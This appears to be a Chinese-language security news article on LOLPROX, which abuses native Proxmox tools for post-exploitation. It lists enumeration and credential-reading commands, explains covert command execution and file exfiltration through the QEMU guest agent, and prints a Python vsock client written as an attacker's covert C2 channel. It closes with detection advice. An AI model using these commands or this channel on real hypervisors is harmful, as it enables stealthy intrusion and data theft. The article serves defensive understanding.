摘要

在像 Proxmox 虛擬環境 (Proxmox Virtual Environment, PVE) 這樣的平台上,傳統的 Linux 作業系統能力與專門的 hypervisor 管理工具相結合,為後滲透活動(Post-exploitation activities)提供了一個獨特且強大的攻擊面。這份報告分析了「Living Off The Land Proxmox」(LOLPROX)技巧,該技巧利用 Native PVE binaries 和系統功能來實現隱蔽的列舉、橫向移動和持久性。重點關注 QEMU Guest Agent 和 AF_VSOCK protocol 的技術機制,強調它們繞過傳統基於網路的安全監控的潛力。分析強調了對 PVE 內部任務系統和檔案完整性進行監控的專業檢測策略的必要性,而不是僅僅依賴傳統的端點或網路安全措施。

Proxmox 虛擬環境「隱形」攻擊:LOLPROX 如何利用 AF_VSOCK 繞過網路偵測 | 資訊安全新聞

1. 簡介

「Living Off The Land」(LOTL)指的是利用受侵害系統上合法的、預先安裝的工具和 binaries 來執行惡意活動(Malicious activities)。這種方法最大程度地減少了引入新的、可能被檢測到的惡意軟體,讓攻擊者能夠融入正常的系統操作。LOLPROX 框架將此概念延伸到 Proxmox 虛擬環境,這是一個建立在 Debian Linux 基礎上的熱門開源虛擬化平台 [1]。

PVE 的雙重性質—一個完整的 Linux 發行版疊加了 hypervisor 特定的 tooling—意味著取得 PVE host 初始存取的攻擊者繼承了一套豐富的 binaries 用於後滲透。這包括用於權限提升和持久性的標準 Linux utilities,以及提供對虛擬機器 (Virtual Machines, VMs) 和容器直接控制的強大 PVE 工具。hypervisor host 的侵害被視為 tier zero event ,因為它賦予了對所有受管理客體系統的潛在控制權。報告著重於這些原生工具如何被武器化的技術細節。

2. PVE 元件濫用的技術分析

Proxmox VE 依賴於幾個核心元件,雖然它們對於系統管理至關重要,但也可能被攻擊者用於偵察和控制。

2.1. Proxmox Cluster File System ( pmxcfs )

/etc/pve 目錄是一個關鍵的目標。它不是一個標準目錄,而是一個基於 FUSE 的 filesystem ( pmxcfs ),它將設定複製到 PVE cluster 中的所有節點 [1]。在這裡讀取或寫入的任何設定檔案都會立即同步,使其成為持久性和 cluster 範圍設定操縱的高價值目標。攻擊者可以修改諸如 storage.cfg user.cfg corosync.conf 之類的檔案,以在整個環境中取得持久性存取或干擾操作。

2.2. 核心管理 Binaries

用於管理虛擬客體(Virtual guests)的主要 command-line interfaces 是用於 VMs 的 qm (QEMU Manager) 和用於容器的 pct (LXC Container Manager)。這些 binaries 是攻擊者用於列舉和執行的主要工具。

下表總結了攻擊者將用於繪製環境地圖的關鍵列舉命令:

類別 PVE Binaries 和命令 濫用目的
Cluster Reconnaissance pvecm status , pvecm nodes , cat /etc/pve/corosync.conf 確定 cluster 成員資格,識別其他實體 host,並提取其內部 IP 位址以進行橫向移動 [1]。
Guest Discovery qm list , pct list , pvesh get /cluster/resources 識別所有正在執行的 VMs 和容器,提供潛在的樞紐目標清單。
Configuration Analysis grep -l "agent.*1" /etc/pve/qemu-server/*.conf 特別搜尋啟用 QEMU Guest Agent 的 VMs,將它們標記為直接命令執行的優先目標。
Authentication & Access cat /etc/pve/priv/token.cfg , pvesh get /access/users 發現持久性的 API Tokens 和使用者帳號,可用於長期持久性和權限提升。

3. QEMU Guest Agent 漏洞利用和 Log 紀錄不足

QEMU Guest Agent 是一個在客體 VM 內部執行的服務,允許 hypervisor host 執行管理任務。當啟用時(在 VM 設定中 agent=1 ),它提供了兩個強大的後滲透基本功能(Primitives):命令執行和檔案傳輸。

3.1. 命令執行 ( qm guest exec )

qm guest exec 命令允許 host 上的攻擊者在客體 VM 內部執行任意命令。這個執行是透過一個 virtio channel 發生的,完全繞過了客體的網路 stack。

從防禦的角度來看,這個活動被記錄在 PVE 任務系統中,特別是在 /var/log/pve/tasks/ 下的 logs 中。命令執行的任務 log 通常包含命令及其輸出,這是一個有價值的鑑識 Artifact [2]。

starting guest agent command 'exec' on VM 100
command: ["/bin/bash", "-c", "id"]
exit code: 0
stdout: uid=0(root) gid=0(root) groups=0(root)

然而,這項技巧的隱蔽性在於傳統的網路 logs (例如 SSH、RDP) 或 endpoint detection system (EDR) 對執行 channel 本身的可視性缺失。檢測完全依賴於監控 PVE 特定的任務 logs 並分析命令中是否有可疑內容(例如,像 whoami cat /etc/passwd 這樣的偵察命令)[2]。

3.2. 檔案外洩的盲點 ( qm guest file-read )

對於防禦者來說,一個更重大的技術挑戰是 qm guest file-read 命令。這個功能允許攻擊者從客體的 filesystem 中讀取任意檔案,例如 /etc/shadow 、SSH keys 或應用程式設定檔案。

關鍵是,與命令執行不同,檔案讀取操作通常在 PVE 任務系統中產生 minimal or inconsistent logging [2]。這造成了一個關鍵的盲點,攻擊者可以在 hypervisor host 的預設 logs 上留下極少或根本沒有 trace 的情況下,從客體 VM 中外洩高度敏感的資料。檔案更新和內容通常不會被記錄下來,使得 資料 竊取的鑑識重建變得極為困難。

4. 進階技巧:隱蔽的 vsock Communication

AF_VSOCK (Address Family Virtual Socket) protocol 可以說是 LOLPROX 框架中最隱蔽的元件。它是一個 socket interface,設計用於 hypervisor 與其客體之間,或客體與客體之間的高性能通訊,它完全在傳統的 TCP/IP 網路 stack 之外運作。

4.1. vsock 機制

vsock 機制使用專用的 virtio channel 來促進通訊。這意味著 vsock traffic 對於所有標準的網路監控工具都是隱形的,包括 firewalls、netflow analysis 和 network intrusion detection systems (NIDS)。正如原始分析中所述,這種通訊涉及 " No IPs, no firewall rules, no network-based detection " [1]。

此能力允許攻擊者在受侵害的 host 和客體 VM 之間建立一個直接、隱蔽的通訊通道(例如用於 Command and Control 或 data tunneling),即使客體是網路隔離或受到嚴格 firewall 保護。

4.2. vsock 架構圖

下圖說明了 vsock Communication 更新,強調了它是如何繞過傳統網路 stack 來連接 host 和客體應用程式的。

graph TD     A[Guest VM Application] -->|AF_VSOCK Socket| B(Guest Kernel)     B -->|virtio-vsock device| C["Hypervisor (QEMU/KVM)"]     C -->|AF_VSOCK Socket| D[Host Application]     D -->|Proxmox Tooling/Attacker Script| E[Compromised PVE Host]     subgraph PVE Host         C         D         E     end     subgraph Guest VM         A         B     end     %% Annotations for clarity     style C fill:#f9f,stroke:#333,stroke-width:2px     style E fill:#fcc,stroke:#333,stroke-width:2px     linkStyle 2 stroke:#ff3,stroke-width:2px,color:red     linkStyle 3 stroke:#ff3,stroke-width:2px,color:red     C -- "Bypasses TCP/IP Stack" --> D     D -- "Direct Channel" --> A

4.3. 概念性 vsock 漏洞利用程式碼

雖然 PVE 沒有提供一個簡單的原生 command-line utility 用於任意 vsock 連線,但攻擊者可以編譯或部署一個客製化的 vsock client/server 應用程式。 socat utility(如果可用或已部署)可用於將 vsock channel 橋接到標準的 TCP socket,有效地進行 traffic tunneling。

以下概念性程式碼展示了 vsock client 連線的核心邏輯,攻擊者將在 PVE host 上使用它來連線到客體 VM 上的 malicious listener。

  1. # Conceptual Python vsock Client on PVE Host
  2. # This script would be used by an attacker on the compromised PVE host
  3. # to establish a covert connection to a listener inside the guest VM.
  4. import socket
  5. import sys
  6. # Define constants for AF_VSOCK
  7. # AF_VSOCK is typically 40 in Linux kernel headers
  8. try:
  9. AF_VSOCK = socket.AF_VSOCK
  10. except AttributeError:
  11. # Fallback for environments where AF_VSOCK is not directly exposed
  12. # This value is system-dependent but 40 is common.
  13. AF_VSOCK = 40
  14. SOCK_STREAM = socket.SOCK_STREAM
  15. # The Context ID (CID) is the unique identifier for the guest VM.
  16. # In vsock, CID 2 is typically the hypervisor host. Guest CIDs start from 3.
  17. # An attacker would first enumerate the target VM's CID.
  18. TARGET_CID = 52 # Example CID for a target guest VM
  19. # The Port is a service port defined within the vsock address space.
  20. TARGET_PORT = 5000 # Example port for a malicious listener (e.g., C2)
  21. def connect_vsock(cid, port):
  22. """
  23. Establishes a stream socket connection using AF_VSOCK.
  24. """
  25. print(f"[*] Attempting to connect to vsock CID: {cid}, Port: {port}")
  26. try:
  27. # Create a vsock socket
  28. s = socket.socket(AF_VSOCK, SOCK_STREAM)
  29. # Connect to the target guest VM
  30. s.connect((cid, port))
  31. print("[+] Connection established.")
  32. # Send a command to the malicious listener inside the guest
  33. command = b"ls -la /root/\n"
  34. s.sendall(command)
  35. print(f"[*] Sent command: {command.decode().strip()}")
  36. # Receive response
  37. data = s.recv(4096)
  38. print(f"[+] Received response:\n{data.decode()}")
  39. s.close()
  40. print("[*] Connection closed.")
  41. except Exception as e:
  42. print(f"[-] vsock connection failed: {e}")
  43. print(" (Ensure AF_VSOCK is supported and the guest listener is active)")
  44. if __name__ == "__main__":
  45. # In a real scenario, the attacker would dynamically determine the CID
  46. # and port based on their C2 setup.
  47. connect_vsock(TARGET_CID, TARGET_PORT)
  48. # Detailed Annotation:
  49. # 1. AF_VSOCK: Specifies the virtual socket address family, distinct from AF_INET (TCP/IP).
  50. # 2. TARGET_CID: The unique identifier of the guest VM, which replaces the IP address.
  51. # 3. TARGET_PORT: A service port within the vsock space, replacing the TCP port.
  52. # 4. s.connect((cid, port)): The connection is direct to the guest kernel's virtio-vsock device,
  53. # bypassing all network layers and firewalls.

這個概念性程式碼突顯了建立直接、非網路通訊通道的技術簡單性,這是 LOLPROX 方法論中用於保持隱蔽性和持久性的關鍵特徵。

5. 結論

LOLPROX 框架表明,虛擬化環境的安全性僅取決於其 hypervisor host 的安全性。一個完整的 Linux 作業系統與強大的原生 hypervisor 管理 binaries 的結合,對傳統的安全監控構成了重大挑戰。使用 qm guest file-read 進行靜默資料外洩(Silent data exfiltration)和利用 AF_VSOCK protocol 進行隱蔽通訊的能力,代表了關鍵的技術盲點。有效防禦 LOLPROX 需要將重點從以網路為中心的監控轉向以 hypervisor 為中心的 log 紀錄分析,特別是 PVE 任務系統的 UPID 紀錄和對 /etc/pve 設定 filesystem 的嚴格 File Integrity Monitoring (FIM)。